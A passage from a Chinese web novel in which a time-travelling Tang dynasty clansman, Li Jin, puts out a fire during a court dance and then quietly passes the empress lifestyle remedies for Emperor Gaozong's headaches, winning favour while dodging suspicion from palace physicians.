而萧淑妃……从周女官那隐晦的提示来看,如今圣眷正浓,是王皇后最大的心病和威胁。
“仅仅靠香水、提神香、保养眼睛的小窍门……恐怕远远不够。” 李瑾靠在车厢壁上,闭目沉思。王皇后需要的是更能触动皇帝、或者能有效打击对手的东西。但自己现在能提供的,太有限了。而且,过早、过深地卷入后宫的争斗,风险巨大。
但反过来想,风险越大,机遇也越大。王皇后再不得宠,终究是皇后,是中宫之主。若能真正获得她的信任与倚重,哪怕只是部分的,也是一张极有价值的护身符和跳板。关键在于,如何把握这个度,如何在提供“价值”的同时,不让自己成为众矢之的,特别是……避免过早引起萧淑妃的强烈敌意。
还有皇帝李治。今日虽未得见,但通过王皇后的只言片语,能感觉出这位年轻的皇帝勤政(或许也有摆脱长孙无忌等顾命大臣阴影的因素?),且对新鲜事物有一定兴趣。这或许是个突破口……
马车驶出皇城,喧嚣的市井声浪传来。李瑾睁开眼,眸中恢复了清明与冷静。第一次宫廷接触,有惊无险,算是开了个好头。但前路漫漫,凶险未知。王皇后这条线,要抓牢,但更要小心使用。下一步,除了尽快制出“龙脑苏合香”,或许该从其他方面,再多了解一些后宫,特别是萧淑妃的信息了。杜铭那边,许元瑜那边,甚至……感业寺中,或许也能听到些风声?
他掀开车帘一角,望向远处巍峨的宫墙。那里面,才是真正的战场。而他,已经拿到了入场观摩的、最边缘的一张门票。
第24章 霓裳羽衣舞
盛夏七月,长安城热浪蒸腾,然而位于皇城北侧的蓬莱宫太液池畔,却是清风徐来,碧波粼粼,莲叶接天,带来丝丝凉意。今日是七月初七,乞巧节,亦是宫中例行的赏荷纳凉之会。虽非正旦、冬至等大节,但因着时令佳景与佳节相合,帝后常会设宴于太液池畔的水殿,邀集亲近宗室、部分重臣及有才名的文士参与,算是一场规模不大、但颇为风雅的宫中私宴。
李瑾的名字,赫然在受邀之列。这并非他诗名已盛到足以直达天听,而是王皇后借“赏荷宴以诗文会友”之机,向皇帝李治提了一句“闻有宗室子李瑾,诗才清丽,于香道亦有巧思”,李治随口应允,他便有了这入宫赴宴的资格。这其中,既有王皇后的“投石问路”,亦有杜家、周女官暗中运作之功,更是李瑾献上的“龙脑苏合香”确实合了皇帝心意——据周女官递出的消息,陛下近日常宿书房批阅奏疏,用了那提神香,颇觉受用,对进献之人也略有印象。这便够了。
这是李瑾第二次踏入宫禁,心境与初见王皇后时已大不相同。少了些初临贵地的忐忑,多了几分沉静与审慎。他深知,今日这场宴席,才是真正踏入长安权力核心外围的试金石。所见所闻,一言一行,皆需慎之又慎。
宴会设在太液池北岸的“清晖水殿”,临水而建,四面轩敞,垂以轻纱,湖光山色一览无余。殿内铺设茵褥,陈设雅致,不尚奢华,却处处透着皇家气派。丝竹之音悠扬,宫娥穿梭,捧来时令瓜果、冰镇酪浆,驱散了暑意。
李瑾坐在靠近殿门、相对边缘的席位上,这是他宗室子弟中“远支”且“白身”的身份使然。他今日穿了一身崭新的浅青色圆领襕袍,是杜铭特意为他置办的,料子、剪裁皆合时宜,既不失礼,也不过分招摇。他姿态端正,目不斜视,只以余光悄然观察着殿内情势。
帝后尚未驾临。殿中已到了不少人。上首主位自然是空着的,左右下首的席位渐次坐满。左侧多是宗室亲王、郡王及驸马都尉等皇亲,右侧则是宰相、三省六部要员及一些文学侍从之臣。李瑾看到了几个“熟人”——杜铭坐在其父杜如晦(已故)的侄孙杜楚客下首,见他看来,微微颔首示意。许元瑜亦在席,位置更靠前些,正与一位年长的文官低声交谈。他还瞥见了那位在曲江诗会上有过一面之缘、出身荥阳郑氏的郑姓士子,坐在一群年轻官员中,神色矜持。
气氛看似轻松,实则暗流涌动。宗室与朝臣之间,老臣与新贵之间,甚至后宫女眷的娘家势力之间,都存在着微妙的关系与无形的界限。低声的交谈,偶尔交换的眼神,举杯时的姿态,无不透着官场的学问。
约莫一刻钟后,内侍高唱:“陛下、皇后殿下驾到——”
殿内众人立刻肃然起身,躬身行礼。李瑾随着众人俯身,只听环佩轻响,香风微拂,一行人自殿后转入。他不敢抬头直视,只瞥见一袭明黄色的袍角与凤纹裙裾从眼前经过,在上首主位落座。
“众卿平身,今日佳节私宴,不必过于拘礼。”一个温和清朗,略带几分慵懒的男声响起,正是当今皇帝李治。
“谢陛下,皇后殿下。”众人谢恩归座。
李瑾这才稍稍抬眼,向上首望去。正中主位上的皇帝李治,年约二十五六,面容清俊,略显苍白,眉眼间带着读书人特有的文秀之气,只是眼圈下有些淡淡的青影,透出几分疲惫。他头戴翼善冠,身着常服,姿态随意地倚着凭几,目光扫过殿内众人,带着一种疏离的审视。这便是那位在历史上性格有些优柔、体弱多病,却在位前期颇有作为、后期大权旁落的高宗皇帝。此刻的他,尚未被风疾彻底折磨,但已能看出几分倦怠。
他身侧的皇后王氏,今日盛装出席,头戴龙凤花钗冠,身着深青祎衣,妆容精致,仪态万方,努力维持着皇后的端庄与威仪。只是她的笑容略显僵硬,目光在与皇帝偶尔交汇时,带着一丝不易察觉的讨好与紧张。李瑾注意到,皇帝落座后,似乎并未多看皇后几眼,注意力更多地放在了下首左侧靠近御座的一名宫装丽人身上。
那女子坐在仅次于皇后的位置,穿着一身烟霞色缕金百蝶穿花宫装,云鬓高绾,斜插一支赤金点翠步摇,容颜娇艳明媚,尤其是一双桃花眼,顾盼生辉,此刻正含笑望着皇帝,眼波流转间,风情万种。她身姿曼妙,气质与王皇后的端庄截然不同,更显娇柔妩媚。这便是如今宠冠后宫的萧淑妃了。李治的目光,显然更愿意停留在她身上。
“听闻今日教坊司排了新编的《霓裳羽衣舞》,朕心甚悦。这乞巧佳节,正当观舞赏乐,以遣永日。” 李治笑道,语气轻松了许多。
“陛下说的是。” 萧淑妃立刻接口,声音娇脆,“臣妾也听闻此舞精妙绝伦,早想一睹为快呢。”
王皇后笑容不变,点头道:“陛下喜欢就好。” 只是指尖微微收紧了袖口。
宴会正式开始。珍馐美馔流水般呈上,乐工奏起舒缓的雅乐。席间众人纷纷向帝后敬酒,说着吉祥话。李瑾位卑言轻,只随大流举杯遥祝,并不多言,默默观察。
酒过三巡,气氛渐热。李治似乎兴致不错,还与几位近臣讨论了几句荷花品种与诗词。王皇后偶尔插言,努力想加入话题,但总显得有些生硬。萧淑妃则巧笑嫣然,不时为李治布菜斟酒,言谈娇憨,引得李治开怀。
就在此时,殿外乐声一变,从舒缓转为空灵缥缈。数名身着彩衣的宫娥鱼贯而入,在殿中空地摆开阵势。紧接着,丝竹管弦齐鸣,编钟清脆,一曲恢弘又带着仙气的《霓裳羽衣曲》奏响。
众人的目光都被吸引过去。只见一队身着七彩羽衣、头戴步摇冠、面覆轻纱的舞姬,踏着乐点,翩然入场。她们身姿轻盈,舞步繁复,长袖翻飞,羽衣飘舞,恍若九天仙子临凡。尤其是领舞的两人,舞姿尤为出众,一人着月白羽衣,清冷如月宫嫦娥;一人着绯红羽衣,娇艳似瑶台玉女。两人配合默契,时而如双星绕月,时而如鸾凤和鸣,将乐曲中“上元点环,素女把琼”的意境演绎得淋漓尽致。
“好!此舞颇有几分开元遗韵!” 李治抚掌赞叹,显然极为欣赏。
萧淑妃也笑靥如花:“陛下,领舞的两位,是教坊司新选的翘楚,据说为了排演此舞,苦练了三月呢。”
王皇后亦微笑颔首,只是目光在那领舞的两位佳人身上多停留了一瞬,眼中闪过一丝复杂。她听闻,其中那位着绯红羽衣的舞姬,似乎是萧淑妃宫中一位女官的妹妹……这献舞,只怕不只是献舞那么简单。
李瑾也看得入神。这《霓裳羽衣舞》的大名他如雷贯耳,亲眼得见,果然名不虚传,其服饰之华美,舞姿之精妙,乐曲之恢弘,确是大唐气象。他尤其注意到,为了表现“羽化登仙”的意境,舞姬们在舞蹈高潮部分,会借助隐藏的机关和绸带,做出凌空飞旋、飘然若仙的高难度动作。殿顶似乎垂下了一些几近透明的丝线,与舞姬腰间的挂钩相连,配合着鼓风机(人力扇风)吹起的轻纱薄雾,营造出腾云驾雾的视觉效果。这唐代的舞台机关,倒也巧妙。
舞蹈渐入佳境,乐曲越发激昂。两位领舞的舞姬,在众舞姬的簇拥下,开始完成一系列令人眼花缭乱的旋转、腾跃。就在她们即将完成一个高难度的双人交错飞旋动作时,异变陡生!
“嘣——!”
一声轻微却刺耳的断裂声,混杂在乐曲中,寻常人或许难以察觉,但李瑾因着前世对机械结构的敏感,加之全神贯注,听得真切。他心头一紧,目光瞬间锁定声音来源——是那位着月白羽衣的领舞舞姬腰间!那根几乎看不见的、承托她部分体重、辅助她完成高难度腾挪动作的透明丝线,似乎因为承受了过大的扭转力,亦或是年久磨损,竟从与殿顶滑轮连接的部位断裂开来!
“啊——!” 一声短促的惊呼被音乐掩盖大半。
只见那月白衣舞姬身体猛然一歪,原本飘逸流畅的飞旋动作瞬间变形,整个人失去平衡,朝着旁边一根支撑水殿的朱漆立柱狠狠撞去!而她手中挥舞的长袖,因这失控的旋转,不偏不倚,扫向了旁边桌案上一盏燃烧正旺的青铜仙鹤灯!
电光石火之间!
“小心!” 席间有人惊呼出声。
一切发生得太快。乐工们还在演奏,大部分舞姬还未反应过来,那失控的舞姬眼看就要撞上立柱,而她袖风带倒的铜灯,灯油泼洒,灯芯带着火苗飞起,直扑向最近的纱幔和茵褥!
“护驾!” 内侍尖利的叫声响起。靠近御座的侍卫本能地向前挡了一步。席间一片哗然,许多人惊得站起身来。
王皇后脸色煞白,萧淑妃也掩口惊呼,花容失色。李治眉头紧皱,身体前倾,厉声道:“怎么回事?!”
眼看一场美轮美奂的宫廷乐舞,就要演变成火烧水殿、甚至惊驾伤人的大祸!
就在这千钧一发之际,一个清朗冷静的声音,不大,却奇异地压过了现场的混乱,清晰地响起:
“速取座垫!挡开灯盏!扶住人!”
众人下意识循声望去,只见靠近殿门处,一个身着浅青襕袍的年轻士子倏然站起,一边疾声指挥,一边已随手抄起自己座下的锦垫,一个箭步上前,手腕一抖,锦垫如一面软盾般挥出,精准地拍在了那盏即将倾倒、火苗乱窜的铜灯上!
“哐当!” 铜灯被拍飞,滚落在地,火苗被锦垫压灭大半,只剩几点零星油火溅在光洁的金砖上,迅速熄灭。而几乎同时,两名反应较快的侍卫也已抢上前,一人扶住了踉跄撞向立柱、惊魂未定的月白衣舞姬,另一人迅速用脚踩灭了地上残余的火星。
整个过程不过呼吸之间。一场可能的火灾和重伤事故,被消弭于无形。
乐声早已戛然而止。舞姬们惊慌失措地跪倒在地。殿内一片死寂,所有人都看着那个掷出锦垫、出声指挥的青衣士子。
李瑾稳住身形,深吸一口气,将手中沾了灯油灰烬的锦垫轻轻放在地上,然后整了整衣袖,面向御座,躬身长揖:“臣惊扰圣驾,请陛下、皇后殿下、淑妃娘娘恕罪。”
他的动作从容不迫,声音平稳,仿佛刚才那迅捷如电、精准果断的举动不是他所为。
李治的目光落在李瑾身上,带着惊异、审视,还有一丝探究。他并未立刻叫起,而是缓缓问道:“你是何人?方才……倒是机敏。”
王皇后此时也回过神来,心跳如鼓,强自镇定,见皇帝发问,忙开口道:“陛下,此乃宗室子弟李瑾,前日进献提神香者。臣妾见他诗才尚可,故今日召来赴宴。” 她语速略快,透着一丝后怕和急于解释。
“李瑾?” 李治重复了一遍这个名字,似乎有些印象,“便是制那‘龙脑苏合香’的宗室子?抬起头来。”
“臣遵旨。” 李瑾依言抬头,目光微垂,视线落在御座前的金砖上,姿态恭敬。
李治打量着他。很年轻,面容清俊,眼神沉静,不见慌乱。方才那一下,反应之快,判断之准,行动之果决,绝非寻常文弱书生所能为。更难得的是,事后果断请罪,不居功,不慌张。
“你方才,如何想到用座垫扑灭火苗?又何以能那般迅捷?” 李治饶有兴趣地问。他并未先追究舞姬失误或舞台事故,反而问起了这个。
李瑾心念电转,知道这是关键。不能显得过于“未卜先知”或“特异”,必须给出合理解释。他恭声答道:“回陛下,臣见那舞姬袖风带倒灯盏,火苗窜起,心知纱幔茵褥皆易燃之物,一旦燎原,恐惊圣驾。情急之下,见手边唯有座垫可做遮挡扑打之用,故不及细想,贸然出手。至于迅捷……臣幼时体弱,曾随一位游方道人习过几日强身健体的粗浅把式,手脚比寻常书生略灵活些,让陛下见笑了。” 他将反应快归咎于“情急本能”和“学过粗浅把式”,合情合理。
“游方道人?粗浅把式?” 李治不置可否,目光又扫了一眼地上狼藉的灯盏和惊魂未定的舞姬,以及那断裂垂落的透明丝线,眼神微冷。“今日这《霓裳羽衣》舞,排演之人,该当何罪?” 语气已带上了寒意。
负责教坊司的官员连滚爬爬地出列,跪地磕头如捣蒜:“臣该死!臣失察!定是机关检修不利,绳索老旧,臣万死!”
萧淑妃此刻已恢复镇定,柔声道:“陛下息怒,所幸未酿成大祸,亦是祖宗保佑。这李瑾……倒是有急智,护驾有功呢。” 她妙目流转,瞥了李瑾一眼,眼神有些复杂,似欣赏,又似探究。
王皇后也赶紧道:“淑妃所言极是。李瑾临危不乱,确是有功。只是这教坊司疏于职守,惊吓圣驾,不可不罚。” 她将话题引向惩罚肇事者,同时肯定了李瑾的功劳。
李治沉吟片刻,摆了摆手:“教坊司一干人等,交由内侍省依律处置。至于你……” 他看向李瑾,“临机应变,护驾有功,虽手段粗陋,其心可嘉。赐绢百匹,金十铤,以示嘉奖。”
“臣谢陛下隆恩!此乃臣分内之事,不敢居功。” 李瑾再次躬身,心中稍定。赏赐是小事,关键是在皇帝面前留下了“机敏”、“沉稳”、“有用”的印象,且这番应对,应该没有引起过度怀疑。
“嗯。” 李治点点头,似乎对李瑾的谦逊颇为满意,又看了他一眼,才转向惊魂未定的众臣,“一场意外,扫了众卿雅兴。今日便到此吧。皇后,淑妃,随朕回宫。众卿且散了吧。”
帝后起身,在一片恭送声中离去。萧淑妃临走前,又深深看了李瑾一眼,那目光似乎要将他从头到脚打量个透彻。
宴会戛然而止。众人心思各异地陆续退场。李瑾能感觉到无数道目光落在自己身上,好奇的、探究的、羡慕的、乃至嫉妒的。杜铭挤过来,用力拍了拍他的肩膀,低声道:“瑾兄!好身手!好胆色!今日可是露了大脸了!” 许元瑜也走过来,对他微微颔首,眼中带着赞许,低声道:“沉着应变,颇有大将之风。只是……日后需更加谨慎。” 最后一句,意味深长。
李瑾明白他的意思。今日之事,是机遇,也是风险。他出了风头,入了皇帝的眼,但也必然卷入更复杂的视线中。教坊司的事故,真的是意外吗?那透明丝线,早不断晚不断,偏偏在御前献舞时断裂?还有萧淑妃那意味深长的一瞥……
他一边应付着周围或真心或假意的道贺,一边随着人流退出水殿。盛夏的阳光刺眼,太液池的荷花开得正盛,但他心中却无半点欣赏的兴致。
霓裳羽衣,仙音妙舞,转眼间便可成索命惊魂。这宫廷的繁华之下,隐藏着多少看不见的丝线,又会在何时,悄然断裂?
今日他侥幸拨开了砸向自己的灯盏,但下一次,那断裂的“丝线”,又会带来怎样的危机?李瑾抬头,望了望巍峨的宫阙,眼神愈发深邃。
第25章 瑾言破危局
太液池畔的意外,如同投入静湖的石子,激起圈圈涟漪。李瑾临危救场,得蒙御赏,一时间“宗室子李瑾”之名,在赴宴的有限范围内悄然传开。当然,多是“急智过人”、“身手敏捷”之类的评价,与其“诗才”之名相映成趣。但真正让李瑾进入更高层次视野的,并非那掷垫救火的瞬间,而是随后数日,在蓬莱宫中发酵的另一起风波。
宴后次日,皇帝李治因受惊吓(或说因舞姬失误、险些酿祸而愠怒),当夜头痛宿疾复发,竟至无法视事,罢朝一日。消息虽被严格封锁于宫内,但诸如杜铭这般消息灵通的勋贵子弟,还是从父辈处得知一二。杜铭忧心忡忡地寻到李瑾,告知此事,并道:“陛下这头风之疾,乃旧年沉疴,每遇烦扰劳累或心绪不宁,便会发作。太医院诸位太医圣手束手,只能以针石药石暂缓,难以根治。此次发作,只怕……非比寻常。”
李瑾闻言,心中一动。高宗李治有“风疾”(高血压及相关脑血管疾病可能性大),这是史有明载的。此次因惊怒诱发,病情加重,倒不意外。他沉吟片刻,问道:“杜兄可知,陛下病症具体是何情形?发作时有何征兆?太医院通常如何诊治?”
杜铭回忆道:“听家父提过,似乎发作时,头痛欲裂,眩晕目眩,甚则呕吐,畏光惧声。太医多用平肝熄风、活血通络之剂,如天麻钩藤饮、川芎茶调散之类,佐以针灸。时有效验,然易反复。去岁春猎,陛下因马惊而疾发,卧床旬日,甚是凶险。”
李瑾脑中飞速调取关于高血压急症、偏头痛、乃至颅内压增高等可能的现代医学知识,并与唐代的“头风”、“肝风内动”等理论对应。他隐约记得,某些降压、改善循环的思路,或许能在这个时代的医药框架内找到替代或近似方案。但这风险极大,宫廷御医何等身份,他一个白身宗室,贸然议论天子病情、指摘太医诊治,是取死之道。
然而,这何尝不是一个机会?一个真正“简在帝心”,展示远超“奇技淫巧”价值的机会?当然,必须极端谨慎,不能直接涉及具体方药,而应从“病因病机”、“调养预防”的“理念”入手,最好是能提供某种立竿见影、至少是能缓解症状的“辅助之法”。
就在他苦思冥想如何介入而不惹祸上身时,第三天午后,宫中竟有旨意传来,非正式的,是皇后宫中周尚宫亲自前来,屏退左右,低声道:“李公子,陛下昨日病情稍稳,但仍头痛目眩,烦躁不安。皇后殿下忧心如焚,想起公子前次所献提神香颇具清心宁神之效,又闻公子博览杂书,或对养生祛疾有所涉猎。殿下不敢惊动太医署,恐徒增烦扰,特命老身前来,私下请教公子,可有……可有甚民间偏方、或海外异法,能稍缓陛下之苦?不拘何法,只要稳妥,或可一试。”
李瑾心中剧震。王皇后这是病急乱投医,还是真的开始信任自己“杂学”的能力?抑或是……想借自己之手,做些什么?无论何种原因,这都是一步险棋,但也是千载难逢的机遇。
他面上不露声色,沉吟道:“周尚宫,陛下龙体关乎社稷,瑾一介白身,安敢妄议?太医院诸位国手圣手,经验丰富,瑾岂敢置喙?”
周尚宫叹道:“公子不必过谦。太医之法,陛下早已用遍,奈何沉疴难起。殿下也是无法,念公子乃宗室,忠心可鉴,又素有机变,或能另辟蹊径。公子但说无妨,成与不成,殿下自有主张,绝不令公子为难。”
话已至此,再推脱反而显得心虚或无能。李瑾心念电转,迅速权衡。直接开方是找死,但提供一些基于现代认知的、在此时代背景下可解释、可操作的“调理建议”或“辅助手段”,或许可行。关键是,必须将建议包装在古人能理解的“理论”框架内,且绝不能与现有太医治疗方案冲突,最好是“补充”和“调理”。
他整理思绪,缓缓开口,语气极为慎重:“尚宫既如此说,瑾斗胆进言。瑾于医道实乃外行,不过偶阅杂书,略知养生之理。陛下之疾,依书所载类似‘头风’,多因肝阳上亢,气血逆乱,清窍受阻所致。情绪激动、外邪扰动,皆可诱发。”
周尚宫点头,这与太医诊断大体不差。
李瑾继续道:“太医用药针灸,乃治标清源之正法。然瑾窃以为,此疾除药石外,日常调护亦至关重要,或可辅助药力,减轻发作。瑾有数条浅见,乃杂糅海外及前贤养生之说,或可呈报殿下,供太医及尚药局诸公参详斧正。”
“公子请讲。” 周尚宫拿出纸笔,准备记录。
“其一,静养环境。陛下病发时,畏光惧声,宜居于幽静暗室,门窗以厚帘遮蔽,减少声光刺激。可于室内悬挂深色帷帐,地面铺设软毯,以减回声。侍奉之人,需软底鞋,低声言语。”
“其二,头部降温。以软巾浸凉井水(非冰水,免过激),稍拧干,敷于陛下额头、太阳穴及后颈处,常换常保清凉。此法可助收缩头部血管,或可缓解胀痛。亦可于室内放置清水盆,以增湿气,缓和燥热。”
“其三,饮食清淡。病发期间及平日,饮食务必清淡,少食肥甘厚味,尤忌辛燥发物,如雄鸡、鲤鱼、鹅肉、姜蒜椒芥等。可多食些清热平肝之物,如芹菜、菊花、决明子(泡茶)、天麻(炖汤)等。饮水宜温,少饮茶,尤其浓茶。”
“其四,按摩导引。若陛下不嫌,可于非急性发作时,由手法轻柔之内侍或宫人,以指腹轻揉陛下太阳穴、风池穴、百会穴等处,力度宜轻缓,方向宜从内向外、从上往下,不可用力按压。每日晨起、睡前,可教陛下习练‘吐纳’之法,即缓慢深吸气,再徐徐呼出,意守丹田,有助于平心静气,导引气血下行。”
“其五,” 李瑾顿了顿,这是最关键也最大胆的一条,“情绪疏导。陛下疾发,常与心绪有关。可寻陛下心绪稍平之时,由亲近可信之人,陪侍闲谈,话题宜轻松愉悦,如诗词书画、花鸟鱼虫、奇闻轶事,或陛下昔年愉悦旧事,切忌谈论烦心朝政、引动肝火。若能引陛下展颜,或可收奇效。此外,陛下平日案牍劳形,宜间歇休息,每隔一两个时辰,必起身走动,极目远眺,放松颈背,不可久坐久视。”
他每说一条,都尽量用中医理论或生活常识包装,避免过于突兀的现代术语。尤其最后“情绪疏导”和“间歇休息”,看似简单,实则直指李治可能因政务压力、后宫纷扰导致的情绪波动和用眼过度(阅读奏章)等诱因。
周尚宫记录完毕,细细看了一遍,眼中露出思索之色。这些建议,大多听起来平实无奇,甚至有些“琐碎”,但组合起来,却自成一套细致的调护体系,尤其强调环境、饮食、情绪、作息等太医往往忽视或难以掌控的细节,与纯药物针灸的思路截然不同。
“公子所言,颇有道理,尤其这情绪疏导、定时休息之法,似与太医所言‘恬淡虚无、精神内守’之养生要旨暗合,却又更为具体可行。” 周尚宫沉吟道,“只是……劝陛下少理政事、多谈闲趣,恐非易事。”
李瑾道:“此非劝陛下不理朝政,而是张弛有度,讲究方法。譬如批阅奏章,可分段进行,中间稍事休息,或可事半功倍,反不易引发头疾。此乃海外所谓‘分段劳逸’之法。至于谈话内容,皇后殿下或淑妃娘娘,当最知陛下喜恶。”
周尚宫深深看了李瑾一眼,将纸笺仔细收好:“公子之言,老身定当一字不漏,回禀皇后殿下。公子忠心,殿下必知。此事……”她压低了声音,“出公子之口,入老身之耳,断不会外传,更不会提及公子之名。公子放心。”
“有劳尚宫。” 李瑾躬身。他明白,王皇后这是既要用人,也要保护消息来源,尤其这种涉及天子病情、可能触动太医署敏感神经的建议。
周尚宫匆匆离去。李瑾独坐室中,心绪难平。他知道,自己抛出的这些“砖”,能否引出“玉”,全看天意和王皇后的运作能力了。但他隐隐觉得,这些融合了现代医学心理学理念的“调理术”,或许真能对李治的病情产生一些积极影响。关键在于,王皇后如何巧妙地将其“本土化”,并以她的方式呈现给皇帝。
等待是煎熬的。李瑾表面如常,读书、制香、偶尔与杜铭等人小聚,暗中却让李福通过王掌柜等渠道,密切关注宫中是否有关于皇帝病情的新动向,尤其是否有关于“调护新法”的传闻。
五日后,杜铭带来消息,神神秘秘:“瑾兄,奇了!听闻陛下头疾近日似有缓解,虽未痊愈,但已能勉强视事。更奇的是,宫中传出,陛下如今批阅奏章,每隔一个时辰,必起身在殿中漫步片刻,或由皇后殿下陪着说些闲话,看看花草。太医署对此似乎……颇有微词,认为有违静养常理,但陛下自己却觉得舒服不少,头痛发作次数似有减少。还有,陛下如今畏光,寝殿竟真挂了深色厚帘,地上也铺了毡毯……这些法子,听着倒有几分像是瑾兄当日……”
李瑾立刻打断他,正色道:“杜兄慎言!此乃宫中之事,你我岂可妄加揣测?陛下洪福齐天,自有神佑,太医院诸位国手医术通神,调理得法,方有起色。我等外臣,唯当为陛下祈福而已。”
杜铭一愣,随即会意,连忙点头:“是极是极!瑾兄所言甚是,是愚兄失言了。”
又过了两日,周尚宫再次悄然来访,此次面带些许轻松之色,虽未明言,但话语间透出对李瑾的谢意:“殿下让老身转告公子,公子日前所言养生之道,殿下深以为然,已酌情进与陛下知晓。陛下试用后,颇觉安适,头痛眩晕确有减轻。太医署虽有议论,然陛下坚持,也只得从之。殿下让老身多谢公子挂怀。” 她特意强调了“酌情”二字,并将功劳归于“殿下进言”,彻底撇清了李瑾。
李瑾心中大石落地,知道这一宝押对了。他提供的思路,经由王皇后转述、实践,确实产生了效果。这不仅缓解了李治的病痛,更让王皇后在李治面前展现了“贴心”与“细致”,或许能稍挽圣心。而自己,则隐于幕后,既展示了价值,又未引火烧身。
“殿下挂怀陛下,乃夫妻伉俪情深,天地可鉴。瑾些微陋见,能对陛下龙体略有裨益,已是万幸,岂敢居功。” 李瑾谦逊道。
周尚宫点头,又道:“另有一事,殿下让老身私下告知公子。太医署对陛下近日所用‘新法’,颇有非议,尤以署令王太医、副署令刘太医为甚。彼等认为此等‘杂法’扰乱了正统医治,或于龙体有碍。公子近日……还需谨慎些,莫要与太医署之人有所瓜葛,亦莫再与人谈论医道养生之事,以免徒惹麻烦。”
李瑾心中一凛,连忙道:“瑾谨记殿下教诲,绝不敢妄言。”
送走周尚宫,李瑾眉头微蹙。果然,动了太医署的“奶酪”,引来了反弹。这些御医,地位清贵,最重面子与权威。自己一个“外行”的建议(即便经由皇后之口)居然见效,无疑触动了他们的权威。这份敌意,虽未直接冲自己来,但需警惕。
与此同时,他也收到了武曌(媚娘)通过隐秘渠道传来的密信。信中除了例行告知感业寺中她已通过郭老夫人法事,与郭家女眷初步建立联系,并凭借一手好字和佛理见解,得了郭老夫人些许好感外,还提及一事:“近闻宫中陛下有恙,头痛目眩,太医束手。此疾似为旧疴,然每发愈频。妾偶闻先帝在时,亦有类似症候,曾服食丹药,初时见效,后反受其害。今上或亦如是?”
李瑾看罢,心中赞叹。武曌身居感业寺,消息竟也如此灵通,且能联想到太宗旧事,见识不凡。他提笔回信,除肯定其进展外,亦隐晦提及:“陛下之疾,确系沉疴,药石针砭乃正途,然调护之法亦不可偏废。喜怒忧思,皆可引动风阳。近日宫中或有新法调护,乃中宫慈心所致。太医署或有不谐之音,然圣意已决。寺中清静,正宜修身养性,勿为外事所扰。” 既告知了部分实情,暗示王皇后可能因此得益,也提醒她太医署有矛盾,让她心中有数。
数日后,皇帝李治病情进一步好转,已能正常临朝听政。宫中隐隐有传言,皇后殿下因悉心照料、献策调理有功,颇得陛下温言嘉许,帝后之间僵冷的关系似有缓和迹象。而太医署那边,则显得有些沉闷。
这一日,李瑾正在宅中翻阅杜铭送来的一些关于西域物产的杂记,门房来报,有客来访,自称姓刘,是太医署的医士。
李瑾心中一紧,该来的还是来了。他整理衣冠,来到前厅。只见一位年约四旬、面容清癯、留着三缕长髯的青袍文士坐在那里,神色平淡,看不出喜怒,身边跟着个捧药箱的小童。
“在下太医署医士刘神威,冒昧来访,李公子有礼了。” 来人起身,拱手为礼,语气平淡。
“原来是刘医士,久仰。不知大驾光临,有何见教?” 李瑾还礼,心中警惕。刘神威?这名字似乎有些耳熟……好像是药王孙思邈的弟子?若是孙真人的门徒,倒未必是来找茬的。
刘神威打量了李瑾几眼,缓缓道:“闻李公子博闻强识,尤精海外杂学、养生之道。刘某不才,于医道略有涉猎,近日听闻一些调理头风的‘新法’,颇觉新奇,特来向公子请教。”
果然是为了此事!李瑾心思电转,此人语气不算恶劣,似有探讨之意,但立场不明。他打起十二分精神,微笑道:“刘医士言重了。瑾于医道一窍不通,何敢言‘精’?不过闲暇时翻些杂书,道听途说些养生皮毛,实不堪入方家之眼。不知医士所闻‘新法’为何?或许瑾曾于某本残卷中见过类似记载,可共同参详?”
他将自己定位为“杂学爱好者”,将建议来源推给“残卷”,姿态放得极低。
刘神威眼中闪过一丝讶异,似乎没料到李瑾如此谦逊,不居功,不辩解。他沉吟片刻,道:“听闻有法,以凉巾敷额,清淡饮食,定时休息,并辅以闲谈舒怀,可缓头痛。此等之法,看似平常,然组合运用,却暗合‘舒肝解郁、调畅情志’之理,与我师孙真人‘治未病’、‘重调养’之论,颇有相通之处。只是……其中细节,如凉巾之用、休息之规,与常法略有不同,不知公子于何处见得?”
李瑾心中稍定,看来这刘神威并非一味守旧之辈,其师孙思邈更是医学大家,提倡“治未病”,重视预防与调养。他立刻顺着话头道:“原来是孙真人的高足,失敬!孙真人《千金要方》名垂寰宇,瑾亦曾拜读,受益良多。至于刘医士所言之法,瑾确在一本前朝自天竺流入的医书残卷中见过类似记载,言头风之症,除药石外,需‘避光静心、节食慎情、劳逸有度’,并载有一些按摩导引的简法。那残卷破败,语焉不详,瑾亦是一知半解。今日听医士提及孙真人‘治未病’之论,方觉豁然开朗,原来中外医理,亦有相通之处。”
他巧妙地将自己“发明”的建议,归结为“天竺残卷”记载,并与孙思邈的理论挂钩,既抬高了对方,又撇清了自己“独创”的嫌疑,显得只是知识的搬运工和联想者。
刘神威闻言,神色缓和了许多,抚须道:“哦?天竺医书?这倒有趣。天竺医学于脑、目之疾,确有独到之处。公子可否借残卷一观?”
“惭愧,那残卷年久虫蛀,早已朽烂不堪,瑾当年亦是偶然得见,抄录片段后,原卷便不知所踪。如今只记得些只言片语,方才所言,多是根据那些片段,结合日常见闻,自行揣测附会,让医士见笑了。” 李瑾面露遗憾。死无对证,最是安全。
刘神威仔细观察李瑾神色,见其不似作伪,且态度诚恳,心中疑虑去了大半。他本就不是来找茬的,只是听闻有新法见效,出于医者好奇前来探究。如今看来,这李瑾并非狂妄自大、藐视太医之辈,反倒是个虚心好学的。那些法子,细想起来,确有一定道理,只是太医署惯用经方重药,对此等“琐碎”调护,不甚重视罢了。
“公子过谦了。能从天竺残卷中悟出此等调护之法,亦是慧心。医道无穷,纵是细微之处,亦可能蕴藏至理。陛下试用后既觉舒适,便是明证。” 刘神威语气和缓下来,“只是,陛下之疾,终究是沉疴,此等调护,只能为辅,不可替代药石针砭。且各人体质不同,调护之法亦需因人而异,不可一概而论。公子日后若再见得此类异术,还当谨慎,最好能与太医署互通有无,以免……嗯,以免误用。”
最后几句,已是善意的提醒。李瑾立刻躬身:“医士教诲,瑾铭记于心。瑾于医道实是门外汉,日后绝不敢再妄言。今日得遇医士,实乃有幸,若蒙不弃,他日有暇,还望医士能指点一二养生常识,瑾感激不尽。”
刘神威见李瑾如此知趣,心中那点不快也消散了,点头道:“公子有心向学,自然是好。今日叨扰,就此别过。” 说罢,便起身告辞。
送走刘神威,李瑾长舒一口气。这一关,算是过去了。太医署的敌意,因刘神威的态度,或许能化解大半,至少不会明面上针对自己。而自己“谦逊好学”、“偶得古方”的形象,也算立住了。
